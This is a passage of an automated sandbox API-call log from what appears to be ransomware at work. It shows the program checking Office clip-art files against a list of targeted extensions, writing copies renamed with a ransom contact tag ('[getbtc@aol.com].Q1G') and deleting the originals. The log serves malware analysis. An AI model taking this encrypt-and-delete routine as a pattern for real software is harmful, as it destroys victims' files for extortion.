lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.729] SetEndOfFile (hFile=0x394) returned 1 [0245.729] CloseHandle (hObject=0x394) returned 1 [0245.729] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.729] SetEndOfFile (hFile=0x398) returned 1 [0245.731] CloseHandle (hObject=0x398) returned 1 [0245.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0246.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.552] lstrlenW (lpString=".doc") returned 4 [0246.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString=".docx") returned 5 [0246.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.553] lstrlenW (lpString=".pdf") returned 4 [0246.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString=".xls") returned 4 [0246.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.553] lstrlenW (lpString=".xlsx") returned 5 [0246.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.553] lstrlenW (lpString=".ppt") returned 4 [0246.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString=".zip") returned 4 [0246.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.553] lstrlenW (lpString=".rar") returned 4 [0246.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString=".bz2") returned 4 [0246.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString=".7z") returned 3 [0246.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString=".dbf") returned 4 [0246.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString=".1cd") returned 4 [0246.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString=".jpg") returned 4 [0246.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.553] lstrlenW (lpString=".doc") returned 4 [0246.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.553] lstrlenW (lpString=".docx") returned 5 [0246.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.553] lstrlenW (lpString=".pdf") returned 4 [0246.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString=".xls") returned 4 [0246.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.554] lstrlenW (lpString=".xlsx") returned 5 [0246.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.554] lstrlenW (lpString=".ppt") returned 4 [0246.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.554] lstrlenW (lpString=".zip") returned 4 [0246.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.554] lstrlenW (lpString=".rar") returned 4 [0246.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString=".bz2") returned 4 [0246.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString=".7z") returned 3 [0246.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.554] lstrlenW (lpString=".dbf") returned 4 [0246.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.554] lstrlenW (lpString=".1cd") returned 4 [0246.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0246.554] lstrlenW (lpString=".jpg") returned 4 [0246.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.554] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.554] lstrlenW (lpString="BS00453_.WMF") returned 12 [0246.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.569] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2436) returned 1 [0246.569] CloseHandle (hObject=0x3b0) returned 1 [0246.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0246.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0246.730] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.730] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.736] GetLastError () returned 0x0 [0246.736] ReadFile (in: hFile=0x1f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x984, lpOverlapped=0x0) returned 1 [0246.740] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x990, lpOverlapped=0x0) returned 1 [0246.741] ReadFile (in: hFile=0x1f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.741] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.741] SetEndOfFile (hFile=0x3b0) returned 1 [0246.741] CloseHandle (hObject=0x3b0) returned 1 [0246.742] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.742] SetEndOfFile (hFile=0x1f8) returned 1 [0246.791] CloseHandle (hObject=0x1f8) returned 1 [0246.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0246.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString=".doc") returned 4 [0246.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString=".docx") returned 5 [0246.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.860] lstrlenW (lpString=".pdf") returned 4 [0246.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString=".xls") returned 4 [0246.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.860] lstrlenW (lpString=".xlsx") returned 5 [0246.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.860] lstrlenW (lpString=".ppt") returned 4 [0246.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString=".zip") returned 4 [0246.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.860] lstrlenW (lpString=".rar") returned 4 [0246.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString=".bz2") returned 4 [0246.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString=".7z") returned 3 [0246.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString=".dbf") returned 4 [0246.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString=".1cd") returned 4 [0246.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.860] lstrlenW (lpString=".jpg") returned 4 [0246.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString=".doc") returned 4 [0246.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString=".docx") returned 5 [0246.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.861] lstrlenW (lpString=".pdf") returned 4 [0246.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString=".xls") returned 4 [0246.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.861] lstrlenW (lpString=".xlsx") returned 5 [0246.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.861] lstrlenW (lpString=".ppt") returned 4 [0246.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString=".zip") returned 4 [0246.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.861] lstrlenW (lpString=".rar") returned 4 [0246.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString=".bz2") returned 4 [0246.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString=".7z") returned 3 [0246.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString=".dbf") returned 4 [0246.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString=".1cd") returned 4 [0246.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0246.861] lstrlenW (lpString=".jpg") returned 4 [0246.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.862] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.862] lstrlenW (lpString="BS01639_.WMF") returned 12 [0246.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0246.869] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4236) returned 1 [0246.869] CloseHandle (hObject=0x3a0) returned 1 [0246.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0246.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0246.870] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.870] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0246.870] GetLastError () returned 0x0 [0246.870] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x108c, lpOverlapped=0x0) returned 1 [0246.876] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1090, lpOverlapped=0x0) returned 1 [0246.878] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.878] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.878] SetEndOfFile (hFile=0x360) returned 1 [0246.878] CloseHandle (hObject=0x360) returned 1 [0246.878] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.878] SetEndOfFile (hFile=0x3a0) returned 1 [0246.880] CloseHandle (hObject=0x3a0) returned 1 [0246.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0246.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.881] lstrlenW (lpString=".doc") returned 4 [0246.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.881] lstrlenW (lpString=".docx") returned 5 [0246.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.881] lstrlenW (lpString=".pdf") returned 4 [0246.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.881] lstrlenW (lpString=".xls") returned 4 [0246.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.881] lstrlenW (lpString=".xlsx") returned 5 [0246.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.882] lstrlenW (lpString=".ppt") returned 4 [0246.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString=".zip") returned 4 [0246.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.882] lstrlenW (lpString=".rar") returned 4 [0246.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString=".bz2") returned 4 [0246.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString=".7z") returned 3 [0246.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString=".dbf") returned 4 [0246.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString=".1cd") returned 4 [0246.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString=".jpg") returned 4 [0246.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.882] lstrlenW (lpString=".doc") returned 4 [0246.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString=".docx") returned 5 [0246.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.882] lstrlenW (lpString=".pdf") returned 4 [0246.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.882] lstrlenW (lpString=".xls") returned 4 [0246.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.882] lstrlenW (lpString=".xlsx") returned 5 [0246.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.883] lstrlenW (lpString=".ppt") returned 4 [0246.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.883] lstrlenW (lpString=".zip") returned 4 [0246.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.883] lstrlenW (lpString=".rar") returned 4 [0246.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.883] lstrlenW (lpString=".bz2") returned 4 [0246.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.883] lstrlenW (lpString=".7z") returned 3 [0246.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.883] lstrlenW (lpString=".dbf") returned 4 [0246.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.883] lstrlenW (lpString=".1cd") returned 4 [0246.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0246.883] lstrlenW (lpString=".jpg") returned 4 [0246.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.883] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.883] lstrlenW (lpString="CG1606.WMF") returned 10 [0246.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0246.909] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3564) returned 1 [0246.909] CloseHandle (hObject=0x324) returned 1 [0246.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0246.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0246.909] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.909] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0246.910] GetLastError () returned 0x0 [0246.910] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xdec, lpOverlapped=0x0) returned 1 [0246.912] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0246.913] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.913] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0246.913] SetEndOfFile (hFile=0x3ac) returned 1 [0246.913] CloseHandle (hObject=0x3ac) returned 1 [0246.913] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.913] SetEndOfFile (hFile=0x324) returned 1 [0246.915] CloseHandle (hObject=0x324) returned 1 [0246.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.916] DeleteFileW 